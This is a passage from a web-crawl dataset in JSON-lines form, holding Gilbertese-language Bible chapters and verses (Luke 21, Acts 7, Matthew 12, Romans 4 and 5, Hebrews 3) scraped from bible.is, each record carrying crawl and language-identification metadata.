\"Ngkana kam ongo b'anaan te Atua n te bong aei, ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ake a rawa ngkoa ni kani kairaki.\" 16B'a antai te koraki ake a ongo ao a rawa ni kani kairaki? Tiaki aomata ni kabaneia ake a oti nako mai Aikubita irouni Moote? 17Ao antai ake E un te Atua i rouia angaun te ririki. Tiaki ake a bure, ake a b'aka ni mate n te rereua? 18Ao antai ake E taetae n tuea nako ia b'a a na aki rin i nanon ana motirawa? Tiaki ake a aki ongeaba? 19Ao ti a ataia iai b'a a aki kona n rin i bukin aia aki onimaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3","date":"2016-06-26T07:20:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783394987.40\/warc\/CC-MAIN-20160624154954-00200-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":516,"character_repetition_ratio":0.061,"word_repetition_ratio":0.047,"special_characters_ratio":0.247,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E taratara nako Iesu, ao E noriia aomata aika kaub'ai ni nnei aia b'aintangira i nanoni nen te m'ane, 2ao E noora naba te aine ae e mate buuna ae aki kaub'ai b'a e nnei iai uoua te rebeta. 3Ao E taku, \"E koaua ae I a tuangngkami, b'a te aine ae aki kaub'ai arei ae akea buuna, e m'aiti riki ae e a tia ni kab'aka nako ia ni kabaneia; 4b'a a bane ngaiia n anga mani kaub'aia, ma neierei, e ngae ngke e aki kaub'ai, ma e anga ni kabane are iai i rouna are e na maiu maiai.\" 5Ngke a taekina te um'antabu aomata tabem'aang b'a e katamaroaaki n atiibu aika raraoi ao ni b'aai ake a b'aintangiraaki, ao E taku Iesu, 6\"Ni kaeti ma b'aai aika kam noori aikai, ane a na roko boong are e na aki noraki n tiku ikai te atibu teuana i aon teuana. A na bane ni kab'akaki i aontano.\" 7Ao a titirakina Iesu ni kangai, \"Te Tia Reirei, e na riki aei n ningai? Tera te kanikina ae e na ataaki iai b'a e nangi riki?\" 8Ao E kaekaia ni kangai, \"Kawakiningkami b'a kam na aki burebureaki; b'a ane a na roko aomata aika bati n arau, ao ane a na kangai, 'Boni Ngaia ngai!' Ane a na kangai naba, 'E a kaan te tai are E na roko iai te Kristo!' Tai nako n iriia. 9Ao ngkana kam ongo taekan taiani buaka ma kiriwe, ao tai maaku; b'a a riai n riki moa baikai, ma tiaki nanona b'a a kaotia n ae nangi roko ni waekoa te toki.\" 10Ao E a manga taku nako ia, Ane e na tei rake te botannaomata teuana n eeka nako te botannaomata teuana, ao te tautaeka teuana n eeka nako te tautaeka teuana. 11Ane e na roko m'aiein te aba ae korakora, ao a na roko roongo ma aoraki aika kamamate n taabo tabeua; ao ane a na roko baika kakamaaku ma kanikina aika ab'ab'aki mai karawa. 12Ma i m'ain rikini baikai, ao ane a na tuangngkami ao a na b'ainikiriningkami; a na anga ngkami nakoia mataniwi ni m'aneabaia I-Iutaia, ao a na kainingkami i nanoni karabuuti; ao ane kam na kateaki i mataia uea ma taan tau-taeka i bukin arau. 13Aei ami tai ni kaota ami onimaki. 14Ma ngaia ae kam na kaaki aei i nanomi: kam na aki iangoi moa ami taeka b'a kam na kanga ni kaeka. 15B'a Ngai ae N na anganingkami te wii ae ribinewe ma te rabakau, b'a a aonga n aki kona aiami n tuuki ao ni kakewei ami taeka. 16Ane kam na kam'aneaki irouia ami karo, ma tarimi, ma ami bu, ma raomi, ao ane a na kamateia tabem'aang i buakomi. 17Ane kam na ribaaki irouia aomata ni kabaneia i bukin arau. 18Ma akea iran atuumi teaina ae na bua mai atuumi. 19Ane kam na kareke maiumi n nanom'aakami. 20Ma ngaia ae ngkana kam nora Ierutarem b'a e otab'aniniaki irouia taanga ni buaka, ao kam na ataia ngkanne b'a e a kaan uruana. 21Ke a biri nako ni maunga akana mena i Iutaia, ao akana mena i nanon Ierutarem, ke a kitanna; ao akana mena i marenaua, ke a tai rin i Ierutarem; 22B'a aei te tai are E na karawawataki iai Iteraera iroun te Atua, b'a e na kakoroaki nanon are koreaki n te B'aib'ara. 23A kawa ake a bikoukou, ao ake a kamammaia natiia ni boong akekei! B'a ane e na bati te kananoanga i aon te aba, ao te un i aoia kaain te aba aei; 24ane a na tiringaki n te kabaang, ao ane a na kairaki nako b'a taenikai ao a na kauamaaeaki nako buakoia botannaomata i aonnaba; ao ane na uruaki Ierutarem irouia aomata aika tiaki I-Iutaia, ni karokoa tokin aia tai. 25Ao ane a na riki baika kamimii nakon taai ma nam'akaina ma itoi; ao ane a na bane aaba nako i aonnaba ni bua aia kaantaninga n rurungaani marawa ma naao. 26Ane a na b'aka ni kiro aomata i bukin te maaku ma kaantaningaan te b'ai ae na roko i aonnaba; b'a ane a na kam'aeaki b'aini karawa mani neia are a taneiai iai. 27Ao ngkanne, ane a na noora Natin te Aomata b'a E na nako mai n te nang ma te m'aaka ao te mimitong ae bati. 28Ngkana a moanna n riki baikai, ao kam na tara rake ao tabeki atuumi, b'a e a kan roko kamaiuami. 29Ao E taekina te rongorongo ni kabotau teuana Iesu, ni kangai, Kam na tara te kai ae te biku ao kaai nako; 30ngkana a tib'a bwebwee rake baaia, ao kam ataia iai n akea ae tuangngkami, b'a e a kaan tain te kabuebue. 31Ao ai aromi naba, b'a ngkana kam nori baikai b'a a riki, ao kam na ataia iai b'a e a kaan uean te Atua. 32E koaua ae I a tuangngkami b'a a na bane n riki baikai i m'aini mateia aomata nako aika maiu ngkai. 33A na mauna karawa ma aonnaba, ma a na aki kona ni mauna au taeka. 34Ma kam na kawakiningkami b'a a na aki kamamaraaki nanomi n taekan ti te kan am'am'arake ma te mamanging ma iango n raraoma i bukini b'ain te maiu aei, b'a e kawa ni karina rokon te bong arei n te tai are kam aki kaantaningaia iai ni kam'aneingkami, 35b'a kanga te b'ai ni kam'am'ane. B'a ane e na roko i aoia aomata ni kabaneia aika maeka i aonnaba ni kabuta. 36Ma kam na tantani n taai nako ao tataro b'a e aonga n reke i roumi te marurung are kam na kona iai ni biri nako mani baika nang roko, ao te kona n tei i matan Natin te Aomata. 37Ao E rereirei Iesu n te um'antabu ni katoa bong; ma ngkana e a tairiki ao E oti nako ni mena n te maunga are arana Oriweta. 38N te moa n ingabong n te bong ae koraki, ao a babane aomata n nako Ina n te um'antabu, b'a a na ongora i Rouna.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21","date":"2016-06-28T20:57:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397111.67\/warc\/CC-MAIN-20160624154957-00112-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1010,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"34Ma kam na kawakiningkami b'a a na aki kamamaraaki nanomi n taekan ti te kan am'am'arake ma te mamanging ma iango n raraoma i bukini b'ain te maiu aei, b'a e kawa ni karina rokon te bong arei n te tai are kam aki kaantaningaia iai ni kam'aneingkami,\nRUKA 21:34\nFREE!\nOne App.\n1192 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/34","date":"2016-06-26T01:27:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783394414.43\/warc\/CC-MAIN-20160624154954-00084-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000059604644775}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15Ma te aki-ongeaba nakon te tua bon tiaki ti te bo arona ma te b'ai n tituaraoi. B'a ngkai a bati aika mate i bukin ana aki-ongeaba temanna nakon te tua, ao e a m'aiti riki ana akoi te Atua ma te b'ai n tituaraoi are reke n ana akoi te Aomata ae ti temanna are Iesu Kristo, nakoia ake a bati.\nROM 5:15\nFREE!\nOne App.\n1192 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/15","date":"2016-06-29T06:17:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397567.28\/warc\/CC-MAIN-20160624154957-00120-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000090599060059}","num_words":67,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e taku aia mataniwi ibonga nakon Tetebano, \"A koaua taeka akanne?\" 2Ao e kaangai Tetebano, Mm'aane aika taari, ma taama, kam na ongora. E kaoti te Atua are mimitong nakon tamara are Aberaam, ngke e mena i Metobotamia, ngke e tuai ni maeka i Aran. 3Ao E taku te Atua nakoina, \"Ko na kitana abam ao am bu, ao ko na nako n te aba ae N na kaotia nako im.\" 4E kitana ngkanne abaia I-Kareria, ao e maeka i Aran. Ao i mwini maten tamana, ao E kanakoa Aberaam te Atua maikekei nakon te aba ae kam maeka iai ngkai. 5Ma bon akea abana ae E anganna mai iai: E aki anganna naba tao ab'akini m'anekana, ma E kab'aka ana taeka n akoi b'a E na anganna b'a abana, ao E na anganiia naba ana kariki i mwina b'a abaia, e ngae ngke akea natina ngkanne i rouna. 6Ao E taetae naba te Atua ni kaangai: b'a a na maeka n iruwa ana kariki Aberaam n te aba teuana ae tiaki abaia; ao a na toronaki ma ni b'ainikirinaki iai abubua te ririki. 7Ao E taku te Atua, \"N na karekea kain te botannaomata are a toro i rouia; ao i mwina, a na oti nako n taromauriai n te tabo aei.\" 8E karaoa te boraraoi te Atua ma Aberaam, ao E tuanga Aberaam b'a ngkana a korotabonim'aneaki aomata, ao nanona ngkanne b'a a kukurei n te boraraoi. Ao Aberaam e karika Itaaka, ao e korotabonim'aneia n te kawani bong i mwini bungiakina, ao Itaaka e korotabonimm'aanea Iakob'a are natina, ao Iakob'a e korotabonimm'aaneia natina ake bakatibu ake a kakannato ake tengauni ma uoman. 9A bakantang natin Iakob'a iroun tariia are Ioteb'a, ma ngaia are a kaboa nako Aikubita; ma E mena te Atua i rouna, 10ao E kamaiua man rawawatana ni kabane; ao E anganna te rabakau ma te aro ae na tatangiraki iai irouni B'arao are uean Aikubita, are E rineia b'a te tia tautaeka i aon Aikubita ma ana utu ni kabaneia. 11Ao e roko te rongo i aon te aba ni kabanea are Aikubita ma Kanaan, ao e karika te rawawata ae korakora; akea kanaia ara bakatibu ae kona n reke i rouia. 12Ma ngke e ongo Iakob'a b'a iai te am'arake i Aikubita, ao e kanakoia moa ara bakatibu. 13Ao n aia kauoua ni m'ananga, ao e a kaotia Ioteb'a nakoia tarina; ao a ataaki ngkanne ana utu Ioteb'a irouni B'arao. 14Ao e kananako Ioteb'a b'a e na weteaki nakoina tamana are Iakob'a ma ana utu ni kabaneia, ake itingauni ma niman. 15Ao e wairio nako Aikubita Iakob'a ma ana utu, ao a mate iai. 16A uotaki rab'ataia nako Tekem, ao a kaweneaki n te nne ni mate, are e kaboa Aberaam n te m'ane mairouia natin Amora i Tekem. 17Ma ngke e a kaan te tai are E nang kakoroa iai bukin ana taeka n akoi te Atua are E tuanga Aberaam, ao e a tia n raka rake m'aitiia ara aomata ni kabatiaaki riki i Aikubita, 18ni karokoa e uea temanna i Aikubita ae akea mutiakinan Ioteb'a i rouna. 19E burebureia ara koraki, ao e b'ainikiriniia ara bakatibu ni kairiia ma te matoa b'a a na kaakiia aia merimeri mani mwengaia, b'a a aonga ni mate. 20Bon aei te tai are e bungiaki iai Mote, ao te teei ngaia ae moan te tikiraoi taraana. E kawakinaki ma n tararuaki raoi i nanon tenua nam'akaina n ana auti tamana, 21ao ngke e kakiaki, ao e anaia natini B'arao te aine ni kawakinna b'a kanga bon oin natina. 22Ao e reirei Mote n aia rabakau ni kabane I-Aikubita, ao e riki b'a te aomata ae rangi n rabakau n te aro n taetae, ao n te m'akuri. 23Ao ngke a koro angaun ana ririki, ao e reke nanona b'a e na kawariia tarina, ake tibun Iteraera. 24Ao e nora temanna i buakoia b'a e b'ainikirinaki iroun te I-Aikubita; e nako ni buokia, n ira taangana, ao e tiringa te I-Aikubita: 25b'a e taku n ana iango b'a a ataia ae e kabonganaki iroun te Atua b'a e na kainaomataia; ma a aki ataia. 26N te bong are i mwiina, ao e nooriia uoman b'a a un. E kan raoiakiniia, ma ngaia are e kaangai, \"Mm'aane, kai taari ngkami, kam aera ngkai kam a kaikoakingkami?\" 27Ao teuare kaikoaka raona e butua nako Mote, ao e taku, \"Antai ae karaoiko b'a te tia tautaeka ao te tia motiki-taeka i aora? 28Ko kan tiringai, n ai arom ngke ko tiringa te I-Aikubita are ngkoananoa?\" 29Ngke e ongo aei Mote ao e biri nako mai Aikubita nakon te aba are Mirian. E a tib'a roko i Mirian; ao e karikiia natina mm'aane aika uoman iai. 30Ao ngke a koro angaun te ririki, ao e kaoti te anera nakoni Mote n uran te ai n te kai n te rereua are i rarikin te maunga are Tinai. 31Ngke e noria Mote, ao e mimii iai; ao ngke e kaania b'a e na mataku iai, ao e roko b'anaan te UEA, ae kaangai, 32\"Atuaia am bakatibu Ngai, ae Atuan Aberaam, ma Itaaka, ma Iakob'a.\" Ao e ruru ni maaku Mote, ao e aki kan taraia. 33Ao E taku te UEA nakoina, \"Buuti am kau mai waem, b'a aontano ae tabu te tabo ane ko tei iai. 34I noori raoi aroni b'ainikirinaia au botannaomata ake a mena i Aikubita, ao I ongo ngirangiraia, ao I a ruo b'a N na kamaiuia. Ao ngkai, nako mai, b'a N na kanakoko nako Aikubita.\" 35Mote aei, are a rawa i rouna, ngke a kaangai, \"Antai ae karaoiko b'a te tia tautaeka ao te tia motiki-taeka?\" Boni ngaia are e kanakoaki iroun te Atua b'a te tia tautaeka ao te tia kamaiu n ana buobuoki te anera are kaoti nakoina n te kai. 36E kairiia Mote ni kaotinakoia, ngke e tia ni karaoi m'akuri aika kamimii ma kanikina n te aba are Aikubita, ao n te Nama are Uraura, ao n te rereua angaun te ririki. 37Boni Mote aei, are kaangai nakoia tibun Iteraera, \"Ane E na kateirakea temanna te Atua mai buakoia tarimi b'a te burabeti nakoimi, n ai aron are E karaoia nako iu.\" 38Boni ngaia are mena i buakoia aomata n te rereua. E mena ikekei ma ara bakatibu ao te anera are taetae nakoina n te maunga are Tinai; e anganaki taeka ni kamaiu b'a e na anganira. 39A rawa ara bakatibu n ira nanoni Mote, ao a kanakoa mai rouia; a kani manga oki nako Aikubita. 40Ao a kaangai nakon Aaron, \"Ko na karaoia antira aika na ririmoara; b'a teuare Mote, are kairira ni kaotinakoira man te aba are Aikubita, ti aki ataia b'a tera ae e riki nakoina.\" 41Ao a karaoa ngkanne te bouananti ae katotongan te kao te teei, ao a anga karea nakoina, ao a botaki ni kim'areirei i bukin te m'akuri are a tia ni karaoia ni baiia. 42Ao E tannako te Atua mai rouia, ao E katikuia n aroia b'a a na taromauri itoini karawa; n ai aron are koreaki n aia boki burabeti, ni kaangai, \"Ngkami aika te botannaomata ae Iteraera, tiaki i buku maan ake kam tiring ao kam anga b'a ami karea n te rereua angaun te ririki? 43Ao kam tabeka um'ani Moroka n uouotia, ma ana itoi te anti are Reban, ake bouananti ake kam karaoi b'a kam na taromauriia; ao N na kanakoingkami nakon aaba ake i tinanikuni B'aburon.\" 44E mena i rouia ara bakatibu um'an te Atua n te rereua. E a tia ni karaoaki: b'a e tuangaki Mote iroun Teuare taetae nakoina, b'a e na karaoia n ira te b'ai ni katoto are e a tia n noria. 45Rimwi riki, ao a anganaki ara bakatibu um'an 46are e a tia n reke akoana iroun te Atua. E butiia te Atua b'a E na anganna ana tai are e na kona iai ni katea nen Atuan Iakob'a ni maeka. 47Ma Toromon ae katea nena ni maeka. 48Ma E aki maeka Teuare Moan te Rietaata n auti aika karaoaki ni baiia aomata; n ai aron ana taeka te burabeti, are kaangai, 49E taku te UEA, Karawa au kaintokanuea, ao aonnaba neni katokani waeu. Te aeka n auti tera ae kam na kateia i buku? Ke tera neu ni motirawa? 50Tiaki b'a a bane ni karaoaki baikai ni kabane irou? 51E reita nako ana taeka Tetebano ao e taku, \"Aomata ngkami aika a matoatoa nanomi, n ai aron nanoia aomata aika aki onimakina te Atua; ao kam bonoti taningami n aki kan ongo ana taeka te Atua! Kam aki toki n rarawa ni kan ongo iroun te Tamnei are Raoiroi. Kam a manga karaoa naba are a karaoia ngkoa ami bakatibu! 52Antai i buakoia burabeti ae aki b'ainikirinaki irouia ami bakatibu? Boni ngaiia ake a tiringiia uake a kaman tataekina rokon Teuare Raoiroi, are Ngaia are kam a tia ngkai ni kam'anea ao kam tiringnga. 53Ngkami aika kam anganaki ana tua te Atua n aia buobuoki anera, ao kam aki kawakinna!\" 54Ngke a ongo taeka akekei kaain te Tanirim, ao a tenai bukini m'angaia b'a a rangi n un iroun Tetebano. 55Ma e on n te Tamnei are Raoiroi Tetebano, ao e kanene matana n tara karawa. E nora mimitongin te Atua, ma Iesu b'a E tei i angaatain te Atua; 56ao e taku Tetebano, \"Akea b'a I nora karawa b'a e kaukaki, ao Natin te Aomata b'a E tei i angaatain te Atua!\" 57Ao a takarua te koraki arei n te b'anaa ae korakora, ao a bonoti taningaia ni baiia, ao a biri ni botaki ma te nano ae ti teuana n eweka aona; 58ao a taua ma te matoa ni kaotinakoa man te kaawa, ao a karebanaia; ao taani kakoaua akekei a katiku kunnikaia iroun te rorobuaka temanna, ae arana Tauro, b'a e na tararuai. 59Ao ngke a kume ni karebanaa Tetebano, ao ngaia e m'anewea aran te UEA, ao e kaangai, \"Te UEA ae Iesu, Anaa tamneiu!\" 60Ao e katorobubua, ao e taetae n te b'anaa ae korakora ni kaangai, \"Te UEA, kab'ara aia bure n te b'ai ae a tia ni karaoia.\" Ngke e a tia n atonga aei, ao e matu.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/7","date":"2016-06-29T06:35:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397567.28\/warc\/CC-MAIN-20160624154957-00152-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1697,"character_repetition_ratio":0.045,"word_repetition_ratio":0.002,"special_characters_ratio":0.248,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te taina, ngke E ri nuukani nnen te aroka ae te uita Iesu ma ana reirei n te Taabati, ao a kiniki uaan uita ana reirei ni kang b'a a baki. 2Ngke a noria B'aritaio tabem'aang, ao a taku nako Ina, \"Noria, a urua tuan te Taabati am reirei n ae a karaoia!\" 3Ao Ngaia E taku nako ia, \"Kam tuai ni wareka taekan te baere e karaoia Tawita ngke e baki, ngaia ma uake raona? 4Ao arona ngke e rin n te um'antabu ao e kana te berena are kaotiotaki, are e tabu n taekana n te tua b'a e na aki kanna ke a na aki kanna uake raona, ma ti ibonga aika kariaiakaki? 5Ao kam tuai naba ni wareki taekan aroia ibonga n te Tua, b'a n te Taabati ao ibonga, i nanon te um'antabu, a urua tuan te Taabati, ao a aki bure iai? 6Ma I taku nako imi, b'a bon iai ikai ae kakannato riki nakon te um'antabu. 7Ao ngke arona b'a kam ata nanon ae kangai, 'I tangira te nanoanga, ao I aki tangira te angakarea, ao kam na aki kabuakakaia aika aki bure.' 8B'a Natin te aomata bon Uean te Taabati. 9Ao E kitana ikekei Iesu, ao E rin ni m'aneabaia I-Iutaia; 10ao noria, e mena iai te aomata ae e mate baina. Iai aomata tabem'aang ake a kani karekea kabuakakan Iesu, ma ngaia are a taku nako Ina, \"E riai n taekan te tua b'a ti na katoki aoraki n te Taabati ke aki?\" 11Ao Ngaia E kaekaia ni kangai, \"Antai i buakomi, ae iai ana tiibu ae ti temanna i rouna, ae ngkana e b'aka n te m'arua n te Taabati, ao e na aki anaia ni kaaerakea? 12E rangi ni kakawaki riki te aomata nakon te tiibu! Ma ngaia ae e riai n taekan te tua b'a e na karaoaki ae raoiroi n te Taabati.\" 13Ao E taku nakon teuarei, \"Arora baim.\" Ao e aroria, ao e a maiu naba n aron are teaina. 14Ao a oti nako B'aritaio, ao a kabowiia aron Iesu b'a a na kanga ni kamatea. 15Ao Iesu, ngke E ata are a iangoia B'aritaio, ao E kitana ikekei; ao a iria aomata aika rangi ni m'aiti, ao E kamaiuia ni kabane ake iai aorakiia, 16ao E tuangiia b'a a na aki katanoata taekana n taabo nako; 17B'a e na kakoauaki are e atongaki iroun Itaia are te burabeti ngke e kangai: 18\"Nora au tia m'akuri ae I rineia, ae tangiraki i Rou, ae I kakatonga i Rouna. N na kaki Tamneiu i aona, ao E na tuangiia botannaomata te kaeti-taeka ae raoiroi. 19E na aki m'am'angaingai, ke n tatakarua, ke ni kaberoro i tutani kawai; 20E na aki kinika te uteute mani m'aotona, ao E na aki kamatea m'aakaron taboni wiikin te taura ni karokoa ae katokanikaia te kaeti-taeka ae raoiroi. 21Ao ane a na onimakinna ianena.\" 22Ao e uotaki nakon Iesu temanna ae e bae newena ao e mataki i bukina b'a e taniaki n te taimonio. E kamaiua Iesu, ma ngaia are e a kona n taetae, ao e noraba. 23Ao a bane ni mimi aomata ao a taku, \"Tao Natin Tawita\" Teuaei? 24Ma ngke a ongo B'aritaio, ao a taku, \"E kanakoia taimonio Teuaei ti ni m'aakan Beretebub'a are aia uea taimonio.\" 25E atai aia iango Iesu, ma ngaia are E taku nako ia, \"Te tautaeka ae bwenaua nakoni m'akoro aika kakaokoro aika a ekianako nako i bon i rouia, e na bon aki tei maan; ao akea te kawa ke te utu ae koroutuaki ae na aki bwenaua. 26Ao ngkana e a manga bon ekianako Tatan i bon i rouna, ao e na kanga ngkanne n tei ueana? 27Ao ngkana I kanakoia taimonio ni m'aakani Beretebub'a, ao natimi a kanakoia ni m'aakan antai? Ma ngaia are i bukin aei, ao a na riki natimi b'a taani motiki taekami. 28Ma ngkana ni m'aakan Tamnein te Atua ae I kanakoia iai taimonio, ao nanona ngkanne b'a e a roko Uean te Atua i roumi. 29Ao e na iranna te aomata n rin n ana auti temanna ae aintoa n anai ana b'ai ngkana e aki kabaea moa teuare aintoa? Ao ngkana e a tia, ao e a kona ngkanne n anai ana b'ai ake n ana auti. 30Ane aki mena i Rou, ao e rawa nako Iu; ao ane aki uaia ni boboti ma Ngai, ao e kamaae nako. 31Ma ngaia ae I taku nako imi, A bane ni kab'araaki aia bure aomata ma taetaebuaka ake a taekin, ma te bure ae te taetaebuaka nakon te Tamnei are Raoiroi e na bon aki kab'araaki. 32Ane taetae n ekaanako Natin te Aomata, ao e na kab'araaki ana bure; ma ane taetae n ekaanako te Tamnei are Raoiroi, ao e na bon aki kab'araki ana bure n te aonnaba aei, ke n te aonnaba ae na roko. 33E riai n iai i roumi te kai ae maiu raoi ngkana kam tangira te uaa ae raoiroi; ngkana e aki maiu raoi te kai, ao ane kam na karekea uaana ae buakaka; b'a e kinaki aron te kai n uaana. 34Ngkami aika buniia naeta! A na kanga n raraoi ami taeka, ngkai kam buakaka? B'a e taetae te wii man onraken te nano. 35E kaoti baika raraoi te aomata ae raoiroi man ana b'ai nako aika raraoi; ao e kaoti baika bubuaka te aomata ae buakaka man ana b'ai nako aika bubuaka. 36I tuangngkami, b'a n te bongi ni motikitaeka, ao aomata akana a na kab'arab'arai bukin taeka nako ake akea maneia ake a atong; 37ao ko na karaoiroaki n am taeka, ao ko na bon kabuakakaki naba n am taeka. 38Ao ngkanne, a titirakina Iesu taani koroboki ma B'aritaio tabem'aang, ao a kangai, \"Te Tia Reirei, ti kan nora te kanikina mai Roum.\" 39Ma E kaekaia Iesu ao E taku, \"A ukoukora te kanikina te roro ae buakaka ae aki ongotaeka nakon te Atua!\" ma akea te kanikina ae a na anganaki, b'a ti te kanikina are te baere e riki nakon Iona are te burabeti. 40B'a aron Iona ngke e mena i nanoni biroton te ika ae rangi ni buubura tenibong te ngaina ao tenibong te bong, ao ai aron naba Natin te Aomata: b'a e na mena i aantano tenibong te ngaina ao tenibong te bong. 41Ane a na kaoti I-Ninewe n te bongi ni motikitaeka ma kaain te roro aei, ao ane a na kabuakakaia kaain te roro aei; b'a a rairi nanoia I-Ninewe n ana kab'arab'ara Iona; ao noria, iai ikai ae kakannato riki nakon Iona. 42Ane e na kaoti ueani maiaki te aine n te bongi ni motikitaeka ma kaain te roro aei, ao ane e na kabuakakaia; b'a e roko neierei man te tabo ae te kabanea n raroa b'a e na ongora n rabakaun Toromon, ao noria, iai ikai ae kakannato riki nakon Toromon. 43Ngke e oti nako te tamnei are kam'araa mai nanon te aomata, ao e nakonako i aon taabo aika m'auteretere b'a e na ukoukora te nne ni motirawa iai; ma akea ae e kunea iai. 44E iango ngkanne ao e taku, \"N na okira au auti are I kitanna,\" Ao ngke e roko iai, ao e noria b'a akea kaaina, ao e iakinaki, ao e baireaki raoi nanona. 45Ao e nako ni kairiia itiman anti aika buakaka riki nako ina, ao a rin ao a maeka iai; ao e a buakaka riki aron te aomata arei nakon arona are rimoa. Ao ai aron naba ae na riki nakon te roro ae buakaka aei.\" 46Ngke E taetae Iesu nakoia aomata, ao noria, a tei i tinaniku tinana ma tarina nako, ao a tuatua b'a a kan taetae ma Ngaia. 47E taku temanna nako Ina, \"A tei i tinaniku tinam ma tarim nako, ao a tuatua b'a a kan taetae ma Ngkoe.\" 48Ao Ngaia E kaekaa teuare tuangnga, ao E kangai, \"Antai tinau, ao antai tariu?\" 49Ao E arora baina nakoia ana reirei ao E taku, \"Aikai tinau ma tariu nako! 50B'a ane toua mwin ana taeka Tamau are i karawa, ao bon tariu, ao m'aneu, ao tinau.\"\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/12","date":"2016-06-30T00:45:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397864.87\/warc\/CC-MAIN-20160624154957-00153-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1353,"character_repetition_ratio":0.046,"word_repetition_ratio":0.004,"special_characters_ratio":0.255,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao tera ae ti na taekinna b'a iai iroun Aberaam, are ara bakatibu n te maiu n rab'ata? 2B'a ngke tao e kaetaki arona n reitaki ma te Atua i bukin ana m'akuri, ao bon iai ana b'ai ni kamoamoa iai; ma e aki kona ni kamoamoa i matan te Atua. 3B'a e kanga te B'aib'ara? E kaangai, \"E onimakina te Atua Aberaam, ao e atongaki ana onimaki b'a ngaia ae e reke iai kaetan arona n reitaki ma te Atua.\" 4E aki atongaki boon te tia m'akuri b'a te b'ai n akoi nakoina, ma e atongaki b'a boona are riai ni b'aka nakoina i bukin ana m'akuri. 5Ma ane aki m'akuri, ma e onimakina Teuare motika taekan te tia bure b'a e aki bure, ao e atongaki ana onimaki b'a ngaia ae e reke iai kaetan arona n reitaki ma te Atua. 6N ai aron naba ana taeka Tawita are atongnga i bukini kab'aian te aomata are atongaki ana onimaki b'a ngaia ae e reke iai kaetan arona n reitaki ma te Atua n aki warekaki ana m'akuri; e kaangai ana taeka Tawita: 7\"A a kab'aia akana kab'araki aia buakaka, akana rabunaki aia bure! 8E a kab'aia te aomata ae e aki tauaki mwin ana bure iroun te UEA!\" 9Ti aia b'ai akana korotabonim'aneaki te kab'aia aei, ke aia b'ai akana aki korotabonim'aneaki? B'a ti taku b'a e atongaki ana onimaki Aberaam b'a ngaia ae e reke iai kaetan arona n reitaki ma te Atua. 10Ao e atongaki n te aro ra? Ngke e a tia ni korotabonim'aneaki ke ngke e tuai? E aki atongaki ngke e a tia ni korotabonim'aneaki, ma e atongaki ngke e tuai. 11Ao e anganaki te kanikina are te korotabonim'aneaki, b'a kanikinaeani kaetan arona n reitaki ma te Atua are e reke i rouna n ana onimaki ngke e tuai ni korotabonim'aneaki. N te aro aei, ao e riki Aberaam b'a kaanga tamaia akana onimaki ni kabaneia, e aoria ngkana a tuai ni korotabonim'aneaki; ao a butim'aeaki iroun te Atua b'a aomata ngaiia aika a tia ni kaetaki aroia n reitaki ma Ngaia. 12Bon tamaia aomata nako aika a tia ni korotabonim'aneaki, tiaki ti i bukin ae a korotabonim'aneaki, ma i bukin naba aia onimaki b'a ti te bo ma ana onimaki Aberaam are tamaia ngke e tuai ni korotabonim'aneaki. 13B'a e anganaki te taeka n akoi Aberaam ma ana kariki are e na riki 